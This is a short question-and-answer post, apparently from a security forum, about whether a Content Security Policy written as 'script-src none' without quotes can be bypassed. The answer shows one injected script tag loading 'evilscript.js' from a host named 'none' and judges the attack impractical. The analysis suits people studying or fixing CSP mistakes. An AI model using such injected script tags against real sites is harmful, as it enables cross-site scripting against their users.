Is it possible to bypass malformed Content Security Policy missing quotes?

Question

I found a website that has a very strict but malformed Content Security Policy of the form:

Content-Security-Policy: script-src none

which should actually be

Content-Security-Policy: script-src 'none'

Firefox shows warnings

Content Security Policy: Interpreting http://none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Content Security Policy: Interpreting none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Can this be exploited by generating a server that would satisfy the hostname requirement? How would a hostname address like this look like?

Answer 1

I think that means the CSP will allow scripts from the domain none. So if you were able to inject the following tag, the CSP would allow it to run:

<script src="http://none/evilscript.js">

and as long as the victim's machine can resolve none to a DNS name / IP address, you're in business!

The hard part of course will be getting either the public DNS servers, or a local DNS server within the victim's network, to accept a DNS record for none mapping to an IP address that you control. In practice I suspect you won't be able to pull off the attack.